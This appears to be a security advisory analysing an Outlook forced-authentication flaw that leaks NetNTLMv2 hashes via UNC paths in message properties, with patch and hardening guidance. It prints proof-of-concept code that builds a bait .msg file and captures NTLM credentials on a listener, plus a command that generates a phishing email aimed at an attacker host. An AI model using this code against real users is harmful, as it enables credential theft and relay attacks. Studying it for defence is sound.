CVE-2026-124194: Forced Authentication and NetNTLMv2 Credential Leakage in Microsoft Office Outlook

Microsoft Office Outlook processes structured email messages, calendar appointments, tasks, and reminders using the Messaging Application Programming Interface (MAPI) and the Compound File Binary (CFB) file format. These data structures allow rich metadata and operational parameters—such as custom reminder audio paths, form configurations, and attachment pointers—to be serialized inside .msg files and Exchange transport streams. Because Outlook interfaces directly with the Windows shell and file I/O APIs to render message content and trigger reminder events, any message property that accepts a file path exposes a potential network attack surface.

CVE-2026-124194 is classified under CWE-356 (Product UI does not Warn User of Unsafe Actions). When a user opens or previews a crafted Outlook message or .msg attachment, the application parses MAPI properties that specify external file locations—such as the PidLidReminderFileParameter property (0x851F)—and passes the extracted path directly to Windows file-handling APIs without prompting the user or validating whether the resource resides on an untrusted remote network.

When the provided path uses the Universal Naming Convention (UNC) format (e.g., \\attacker-ip\share\reminder.wav), the Windows Input/Output Manager hands the request to the Multiple UNC Provider (MUP) and the Server Message Block (SMB) redirector (mrxsmb.sys). The operating system automatically attempts to authenticate to the remote host over TCP port 445 (or falls back to WebDAV over HTTP/HTTPS if the WebClient service is active) using the current user's security context.

This forced authentication sequence transmits the victim's NetNTLMv2 challenge-response hash across the network to the attacker-controlled server. CVE-2026-124194 shares architectural ancestry with CVE-2023-23397, demonstrating the persistent risk of unvalidated UNC path resolution within MAPI property handlers. Microsoft patched the vulnerability in November 2026 after confirming active zero-day exploitation in the wild.

The root cause of CVE-2026-124194 lies in the absence of a security boundary between the MAPI property deserialization engine and the underlying Windows file-system resolution APIs during UI message rendering. Outlook items (such as IPM.Note or IPM.Appointment) store attributes within an OLE Compound File Binary (CFB) container. Inside this container, MAPI properties are indexed via property tags combining a 16-bit property identifier and a 16-bit data type.

Within the PSETID_Common property set ({00062008-0000-0000-C000-000000000046}), the PidLidReminderFileParameter property (identifier 0x851F, data type PtypString / 0x001F for UTF-16LE or 0x001E for ANSI) defines the file path of the custom audio file to play when an item reminder triggers. In a typical .msg CFB structure, this value is stored both inside the __properties_version1.0 summary stream and within a dedicated substorage stream named __substg1.0_851F001F.

When an unpatched build of Microsoft Outlook loads or previews the message item, the application evaluates the reminder properties to prepare the UI state and validate the associated audio resource. Rather than restricting PidLidReminderFileParameter to local file paths or halting execution to display an External Content Warning dialog, Outlook passes the raw UTF-16LE string directly to Windows file/audio subsystem functions (such as CreateFileW or multimedia APIs).

Because Windows file APIs natively support UNC paths (\\<host>\<share>\<file>), supplying an external IP address or domain name triggers an immediate network connection via the Windows Security Support Provider Interface (SSPI). The NTLM Security Support Provider (msv1_0.dll) initiates a three-way NTLMSSP handshake (Negotiate, Challenge, Authenticate) with the destination host, disclosing the user's domain, username, workstation hostname, and NetNTLMv2 response hash without user consent.

Because Microsoft Office Outlook is a proprietary closed-source application, source-level patch diffs are not publicly released by the vendor. However, the mechanics of the vulnerability and the exact binary structure required to reach the vulnerable code path can be analyzed through the MS-CFB and MS-OXMSG protocol specifications, alongside the public proof-of-concept implementation (AmesianX/CVE-2026-124194-poc).

To trigger the vulnerable MAPI property parser in OUTLOOK.EXE, a .msg file must conform to the Compound File Binary (OLE v3) specification. Specifically, streams smaller than the MiniStreamCutoff size (4096 bytes) must be allocated within the 64-byte sector MiniStream rather than standard 512-byte sectors, and indexed via the MiniFAT. The generator below demonstrates how the vulnerable property tags and streams are constructed:

# Excerpt from make_msg.py demonstrating MAPI property stream construction
PSETID_COMMON = uuid.UUID("00062008-0000-0000-c000-000000000046")
PR_MESSAGE_CLASS = 0x001A
LID_REMINDER_FILE_PARAMETER = 0x851F
 
PROP_TYPE_STRING = 0x001E
PROP_TYPE_LONG = 0x0003
 
def tag(ptype: int, pid: int) -> int:
    # Combines 16-bit property type and 16-bit property ID
    return (ptype << 16) | pid
 
def build_properties_section(unc_path: str, message_class: str = "IPM.Note") -> bytes:
    rows = b""
    # Define message class as standard email note (IPM.Note)
    rows += prop_string(tag(PROP_TYPE_STRING, PR_MESSAGE_CLASS), message_class)
    # Inject the UNC path into the PidLidReminderFileParameter property (0x851F)
    rows += prop_string(tag(PROP_TYPE_STRING, LID_REMINDER_FILE_PARAMETER), unc_path)
    # Set PR_MESSAGE_FLAGS (0x0E07) = 1 (MSGFLAG_READ)
    rows += prop_fixed(tag(PROP_TYPE_LONG, 0x0E07), struct.pack("<I", 1))
 
    header = struct.pack("<BI", 0, 0) + bytes(2)
    return header + rows
 
def build_msg(unc_path: str) -> bytes:
    c = CFB()
    # Top-level property index stream
    c.add("__properties_version1.0", build_properties_section(unc_path))
    # UTF-16LE (0x001F) stream for PR_MESSAGE_CLASS (0x001A)
    c.add("__substg1.0_001A001F", "IPM.Note".encode("utf-16-le") + b"\x00\x00")
    # UTF-16LE (0x001F) stream for PidLidReminderFileParameter (0x851F) containing UNC path
    c.add("__substg1.0_851F001F", unc_path.encode("utf-16-le") + b"\x00\x00")
    return c.build()

Notice that the message class is set to IPM.Note (standard email message) via __substg1.0_001A001F, while still embedding the reminder file parameter in __substg1.0_851F001F. Unlike CVE-2023-23397, which utilized background calendar/task reminders without user interaction (UI:N), CVE-2026-124194 is triggered when the victim interacts with or opens the message item in the Outlook UI (UI:R).

In the patched versions (such as Office LTSC 2024 build 16.0.17932.21140 and Office LTSC 2021 build 16.0.14334.21048), Microsoft remediated the flaw by enforcing path validation and UI security warnings before dereferencing external network resources specified in message properties. Regarding fix completeness, because MAPI supports hundreds of distinct properties and OLE/ActiveX objects that can reference external URIs or UNC paths, defense-in-depth requires blocking outbound SMB and restricting outgoing NTLM traffic at the OS and network layers rather than relying solely on application-level path sanitization.

Exploiting CVE-2026-124194 requires two primary components: a crafted .msg file delivered to the victim (typically via a phishing email attachment or shared folder) and an external SMB or WebDAV listener controlled by the attacker. No prior authentication (PR:N) or complex race conditions (AC:L) are necessary, though the target environment must permit outbound SMB (TCP port 445/139) or WebDAV (HTTP/HTTPS) traffic to reach the attacker's host.

First, the attacker starts an SMB listener on an internet-facing server to perform the NTLMSSP handshake and extract the NTLMSSP_AUTH (Type 3) message. In the published proof-of-concept (collect_ntlm.py), a raw socket listener binds to TCP port 445, responds to the initial SMB negotiate packet, and parses the incoming NTLMSSP authentication structure:

# Excerpt from collect_ntlm.py showing NTLMSSP Type 3 (Auth) extraction
NTLMSSP_SIG = b"NTLMSSP\x00"
NTLMSSP_AUTH = 3
 
def parse_ntlmssp(blob: bytes):
    if len(blob) < 12 or blob[:8] != NTLMSSP_SIG:
        return None
    msg_type = struct.unpack("<I", blob[8:12])[0]
    if msg_type != NTLMSSP_AUTH:
        return msg_type, None
 
    # Extract length and offset pointers for NTLMv2 response, Domain, User, and Host
    lm_len, _, lm_off = struct.unpack("<HHI", blob[12:20])
    ntlm_len, _, ntlm_off = struct.unpack("<HHI", blob[20:28])
    dom_len, _, dom_off = struct.unpack("<HHI", blob[28:36])
    usr_len, _, usr_off = struct.unpack("<HHI", blob[36:44])
    hst_len, _, hst_off = struct.unpack("<HHI", blob[44:52])
 
    def grab(off, ln):
        return blob[off:off + ln].decode("utf-16le", errors="replace")
 
    return msg_type, {
        "user": grab(usr_off, usr_len),
        "domain": grab(dom_off, dom_len),
        "host": grab(hst_off, hst_len),
        "ntlmv2_hash": blob[ntlm_off:ntlm_off + ntlm_len].hex(),
    }

In real-world operations, attackers typically deploy production-grade capture or relay frameworks such as Responder or Impacket's ntlmrelayx.py instead of minimal socket scripts. Next, the attacker generates the malicious .msg payload pointing to their listener IP and wraps it inside a standard MIME .eml email:

python3 make_msg.py --attacker-host 198.51.100.42 --out bait.msg --eml phishing.eml

When the victim receives the email and opens or previews bait.msg in an unpatched Outlook client, Outlook reads the \\198.51.100.42\share\reminder.wav path from __substg1.0_851F001F and initiates an SMB connection. The attacker captures the resulting NetNTLMv2 hash for offline cracking (e.g., using hashcat -m 5600) or relays the live authentication session to internal or cloud-hosted enterprise services.

CVE-2026-124194 is assigned a CVSS v3.1 base score of 6.5 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. While the base score is moderate because the vulnerability only directly impacts Confidentiality (C:H) and requires user interaction (UI:R), the practical operational risk in an enterprise Active Directory environment is severe.

Once an attacker captures a user's NetNTLMv2 hash, two distinct post-exploitation paths become available:

1. Offline Password Cracking (MITRE ATT&CK T1110.002): Because NetNTLMv2 is a challenge-response protocol computed using the MD4-based NTLM hash of the user's password as the HMAC-MD5 key, the attacker can perform high-speed offline dictionary and brute-force attacks without triggering Active Directory account lockout policies. Recovering the plaintext password grants the attacker direct access to corporate VPNs, Microsoft 365 portals, and internal networks (assuming multi-factor authentication is not enforced or can be bypassed).
2. NTLM Relay Attacks (MITRE ATT&CK T1557.001): If the attacker is positioned on the internal network—or relays the connection to an externally accessible Exchange or WebDAV endpoint—they can forward the NTLMSSP negotiation in real time to another service. Relaying NTLM authentication to Active Directory Certificate Services (AD CS) HTTP endpoints (ESC8) or LDAP servers (to configure Resource-Based Constrained Delegation or Shadow Credentials) frequently leads to full domain privilege escalation.

Microsoft assigned a temporal vector of E:H/RL:O/RC:C, reflecting confirmed, high-maturity zero-day exploitation in the wild prior to patch release. Consequently, CISA added CVE-2026-124194 to its Known Exploited Vulnerabilities (KEV) catalog on November 10, 2026, requiring federal agencies to apply mitigations by November 24, 2026.

To fully remediate CVE-2026-124194, organizations must deploy Microsoft's November 2026 security updates across all affected Office installations. The patched builds enforce strict UI warnings and prevent automatic background dereferencing of untrusted UNC paths within MAPI reminder properties:

• Microsoft 365 Apps for Enterprise (x86 / x64): Apply the November 10, 2026 Click-to-Run channel security updates.
• Microsoft Office LTSC 2024 (x86 / x64): Update to build 16.0.17932.21140 or later.
• Microsoft Office LTSC 2021 (x86 / x64): Update to build 16.0.14334.21048 or later.

> [!NOTE] > Because forced authentication vulnerabilities can be triggered across numerous Windows applications and file formats (such as .lnk, .scf, .url, and PDF files), organizations should implement structural OS and network hardening to neutralize NTLM hash leakage globally.

In environments where immediate patching is not feasible, or as a permanent defense-in-depth posture, security teams should enforce the following controls:

1. Block Outbound SMB at Perimeter Firewalls: Drop all outbound traffic on TCP ports 445 and 139 (as well as UDP ports 137 and 138) at the network perimeter and on host-based firewalls for remote/roaming workstations. Workstations should never initiate SMB connections to public IP addresses.
2. Restrict Outgoing NTLM Traffic via Group Policy: Configure the Group Policy setting Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers to Deny all (or Audit all initially while defining exceptions for legacy internal servers).
3. Enforce SMB Signing and Channel Binding: Enable Microsoft network server: Digitally sign communications (always) across all domain controllers and member servers, and enable LDAP Signing and Extended Protection for Authentication (EPA) on AD CS and Exchange servers to neutralize NTLM relay attacks.
4. Utilize the Protected Users Security Group and Disable WebClient: Add domain administrators and sensitive service accounts to the Active Directory Protected Users group, which prevents those accounts from using NTLM authentication. Additionally, disable the WebClient (WebDAV) service on workstations to prevent Windows from falling back to HTTP/HTTPS over port 80/443 when outbound port 445 is blocked.